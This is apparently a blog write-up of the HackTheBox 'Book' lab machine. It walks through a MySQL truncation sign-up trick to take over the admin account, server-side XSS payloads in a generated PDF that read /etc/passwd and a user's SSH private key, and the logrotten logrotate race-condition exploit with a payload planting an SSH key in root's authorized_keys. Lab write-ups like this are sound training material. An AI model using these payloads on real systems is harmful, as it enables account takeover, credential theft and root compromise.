HackTheBox - Book

— Written by — 11 min read
book-hackthebox

Book just retired on Hackthebox. It was made by MrR3boot, one of my favorite box maker.
This box didn’t break the rule and was really well designed. While rated Medium difficulty, the foothold and user gave me more trouble than some Hard rated box. For once you have to think way more in real life scenarios than in CTF-like style. Still super interesting and I recommend it if you are comfortable with medium and hard boxes. Place to the write-up now!

Tl;Dr: The user flag required you to exploit two parts of the “Book” website. First you had to exploit a MySQL truncation misconfiguration to login as admin to the admin panel. Then you login as normal user to the user interface of the website. From there you exploit a local file read vulnerability via XSS in a dynamically generated PDF visible from the admin interface you accessed earlier. Using this vulnerability you can access the user reader SSH key and use it to grab the flag.
The root part consisted in exploited a vulnerability (CVE-2019-10143) in the logrotate utility running allowing running arbitrary binary as root.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the host file:

1
[[email protected] ~]$ echo "10.10.10.176 book.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
[[email protected] ~]$ nmap -sV -sT -sC book.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-28 18:33 CET
Nmap scan report for book.htb (10.10.10.176)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have a classical web app running on port 80 and the SSH port 22 open.

Opening http://book.htb display a following page:

book homepage

We have a sign-up/login form. Before anything else let’s run gobuster to see if we can find anything else valuable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[[email protected] ~]$ gobuster dir -u "http://book.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/admin (Status: 301)
/books.php (Status: 302)
/collections.php (Status: 302)
/contact.php (Status: 302)
/db.php (Status: 200)
/docs (Status: 301)
/download.php (Status: 302)
/feedback.php (Status: 302)
/home.php (Status: 302)
/images (Status: 301)
/index.php (Status: 200)
/logout.php (Status: 302)
/profile.php (Status: 302)
/search.php (Status: 302)
/server-status (Status: 403)
/settings.php (Status: 302)

We do have plenty of pages, once login we will be able to check all of them in more details. First thing that catch the eye is the /admin endpoint. Opening it display almost the exact same login page, expect that it’s only possible to login:

book admin login page

Since we don’t have enough information to try anything on this admin page let’s go back to the normal login form.

From here let’s create a user account and use it to login. Once done we get welcomed to the following panel:

book user panel

From here we can see we have access to most pages that were returned by gobuster.

The most interesting part seems to be the /collections one where it’s possible to upload your own books:

book collections upload

When facing a file upload form it’s always good to try uploading a web shell right ? Unfortunately, no matter what is being uploaded, the form returns the following message:

Thanks for the submission. We will evaluate and update the list

The problem here is that we have no confirmations if the file got uploaded successfully and no idea where it got uploaded. Yet we notice the “We will evaluate and update the list“. This probably means that from the admin panel we found early it should be possible to see the “pending” upload ? Let’s keep the that in mind.

Our next step here is to find a way to enter the admin panel to see if we can get access to additional informations and maybe to the uploaded files in any way.

While looking around we stumble across another useful piece of informations in the /contact.php page:

book contact page

We now know the admin email is [email protected] (even though we could have guessed it). We only need to find its password now. Brute-forcing is never the way to go on web app and will just risk to break the box for other users so let’s find another method.

In the same idea of the ForwardSlash box maybe we can Sign up using [email protected] as email and get the account password overwritten ? Unfortunately trying so simply returns the following error message:

User Exits!

To be honest I got a bit short on ideas at this point until I noticed something interesting in my user account. We have the possibility to edit our username, but it gets truncated after 10 chars:

book username

Changing my username to abcdefghijqlmnopqrstuv will return as follow:

Signed in as abcdefghij

Spaces seems to be removed aswell, so changing my username to hg8 a returns:

Signed in as hg8

This made us wonder if the same happen on account creation ? What would happen if we try to create an account with [email protected]··············a as email (· being a space) ? Maybe you could overwrite the admin password this way ?

Abusing MySQL truncation

Let’s go to back to the Sign Up form and launch the following request:

1
2
3
4
5
6
7
8
[[email protected] ~]$ curl 'http://book.htb/' -i \
-d 'name=admin&[email protected] a&password=hg8.sh'
HTTP/1.1 302 Found
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=nxxxxxxxxxxxxxxxxx; path=/
location: index.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8

302 Found and a redirect to index.php. Looks like we are on the right tracks! Let’s now try to login using those credentials and bingo!

book admin panel

From there we have access to various moderation tools. We do have access to the Collections part we were looking at in the user panel:

book admin panel collections

On this page it is possible to download a PDF of the users list and the book collections. The PDF content is a simple table and available through a random filename:

book admin panel pdf

At first look this table looks like a simple HTML table converted to PDF. Here is the HTML Table example available at W3School:

w3school html table

This puts us on the right tracks, the PDF is very probably dynamically generated from a page of this admin panel with a tool like PhantomJS or so… Let’s dig into this idea.

XSS in Dynamic PDF Generation

So our starting point is a guess that the collections PDF is generated from an HTML page. Knowing we can control some of the values that end end in the PDF (using the user panel) maybe we can inject something in the final PDF ?

First let’s try to inject HTML to see if we can validate our idea. Going back to the user panel let’s enter HTLM tag in the author field:

book html tag injection

Let’s send it and go back to the admin panel to generate the collections PDF:

book pdf html tag injection

It worked, we are definitely on the right track. Since we can inject HTLM, can we inject Javascript aswell ? Let’s give it a try:

book XSS collections

Going back to the admin panel we can find our PDF have been fully replaced with our “Test” string:

book collections XSS

We just have confirmed our ability to XSS on server side. The first application that comes to mind with this vulnerability is local file read using javascript. Let’s start with the classical /etc/passwd.

We can come up with the following payload:

1
2
3
4
5
6
7
8
<script>
a = new XMLHttpRequest;
a.onload = function() {
document.write(this.responseText)
};
a.open("GET", "file:///etc/passwd");
a.send();
</script>

First the payload will open the local file /etc/passwd then write its content to the document root. Let’s send it on the user panel and observe the results on admin panel generated PDF:

book local file read

Neat, thanks to file informations we know the user we are after: reader.

If we are lucky enough maybe we can use the local file read vulnerability to access reader SSH key. We should be able to do so using the following payload:

1
2
3
4
5
6
7
8
<script>
a = new XMLHttpRequest;
a.onload = function() {
document.write(this.responseText)
};
a.open("GET", "file:///home/reader/.ssh/id_rsa");
a.send();
</script>

Again let’s send this payload and access the generated PDF:

book local file inclusion id_rsa

Using this key we can connect to reader and grab the user flag:

1
2
3
4
5
6
7
8
[[email protected] ~]$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)

Last login: Wed Jan 29 13:03:06 2020 from 10.10.14.3
[email protected]:~$ ls
backups user.txt
[email protected]:~$ cat user.txt
5xxxxxxxxxxxxxxxxxxxxxxxxxxc

Root

Recon

Looking around we quickly notice an usual folder in the reader home directory:

1
2
3
4
5
6
[email protected]:~$ ls
backups user.txt
[email protected]:~$ ls -l backups/
total 4
-rw-r--r-- 1 reader reader 0 Jan 29 13:05 access.log
-rw-r--r-- 1 reader reader 91 Jan 29 13:05 access.log.1

These two files are Apache access logs. It’s usually found in /var/log/apache2/ directory. Seems like some task is backing up those access log files in reader home directory.

Before searching further, let’s focus on this unusual backup task. As every unusual items on a box it’s often the way to privilege escalation.

To do so let’s explore running processes to see if we can find anything related to Apache access log. For monitoring processes I always use pspy which is a really great tool and helps a lot during CTF:

First let’s download and push pspy to the server:

1
2
3
[[email protected] ~]$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
[[email protected] ~]$ scp -i id_rsa ~/tools/pspy64 [email protected]:/tmp/.hg8
pspy64 100% 3006KB 96.7KB/s 00:31

Then we can run pspy and quickly enough a interesting process popup:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[email protected]:/tmp/.hg8$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855

██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░

[...]
2020/05/02 14:57:34 CMD: UID=0 PID=63306 | /bin/sh /root/log.sh
2020/05/02 14:57:34 CMD: UID=0 PID=63308 | sleep 5
2020/05/02 14:57:44 CMD: UID=0 PID=63313 | /usr/sbin/logrotate -f /root/log.cfg

We have a logrotate process running as root. Having never used it before let’s check it’s manual:

Logrotate is designed to ease administration of systems that generate large numbers of log files. It allows automatic rotation, compression, removal, and mailing of log files. Each log file may be handled daily, weekly, monthly, or when it grows too large.

Let’s find out the arguments used in the command /usr/sbin/logrotate -f /root/log.cfg:

1
2
3
4
5
6
7
[email protected]:/$ man logrotate | grep -A 5 "\-f"
-f, --force
Tells logrotate to force the rotation, even if it doesn't think this is
necessary.
Sometimes this is useful after adding new entries to a logrotate config file,
or if old log files have been removed by hand, as the new files will be created,
and logging will continue correctly.

While the /root/log.cfg probably contains the configuration to copy access.log files to reader home directory.

After looking at the documentation for a while it didn’t seem this process can be abused to achieve privilege escalation on the box.

Since the process is running as root maybe we can check if the version running have any public vulnerability allowing us to privilege escalation. The version on the box is 3.11.

1
2
[email protected]:/$ logrotate --version
logrotate 3.11.0

A quick Google search yield an interesting result:

Exploit Title: logrotten 3.15.1 - Privilege Escalation

logrotate is prone to a race condition after renaming the logfile.

If logrotate is executed as root, with option that creates a
file ( like create, copy, compress, etc.) and the user is in control
of the logfile path, it is possible to abuse a race-condition to write
files in ANY directories.

An attacker could elevate his privileges by writing reverse-shells into
directories like “/etc/bash_completition.d/“.

Logrotten

Looks exactly what we need right ? Since the /home/reader/backups directory is under our control it seems like we have all the elements to successfully use this exploit.

Logrotate exploit

Let’s follow the exploit page to setup everything properly.

  1. Let’s compile the exploit file. After reviewing the code it seems like no changes are required in order to work properly on our box:
1
2
3
4
[email protected]:/tmp/.hg8$ vi logrotten.c
[email protected]:/tmp/.hg8$ gcc -o logrotten logrotten.c
[email protected]:/tmp/.hg8$ ls
logrotten logrotten.c
  1. Then let’s create our payload. The payload I will use consist in adding my SSH public key in the authorized_keys of root account:
1
2
3
[email protected]:/tmp/.hg8$ cat payload
#!/bin/sh
/bin/echo "ssh-rsa Axxxxx hg8[email protected]" >> /root/.ssh/authorized_keys
  1. Next step is to run the exploit with our payload and the log file to watch for:
1
2
3
4
[email protected]:/tmp/.hg8$ ./logrotten -p /tmp/.hg8/payload /home/reader/backups/access.log
Waiting for rotating /home/reader/backups/access.log...
Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...

Let’s append content to our log file to trigger the log rotation:

1
[email protected]:/$ echo "test" > backup/access.log

Our payload should now have been written to /etc/bash_completion.d:

1
2
3
[email protected]:~$ cat /etc/bash_completion.d/access.log
#!/bin/sh
/bin/echo "ssh-rsa Axxxxx [email protected]" >> /root/.ssh/authorized_keys

After waiting a little we should be able to be able to connect to the root account trough SSH:

1
2
3
4
5
6
7
8
[[email protected] ~]$  ssh -i id_rsa_htb [email protected]
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)

Last login: Sun Apr 5 11:03:02 2020 from ::1
[email protected]:~# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:~# cat root.txt
8xxxxxxxxxxxxxxxxxxxxxx4

As always do not hesitate to contact me for any questions or feedbacks.

See you next time !

-hg8



CTFHackTheBoxMedium Box
, , , , , , , ,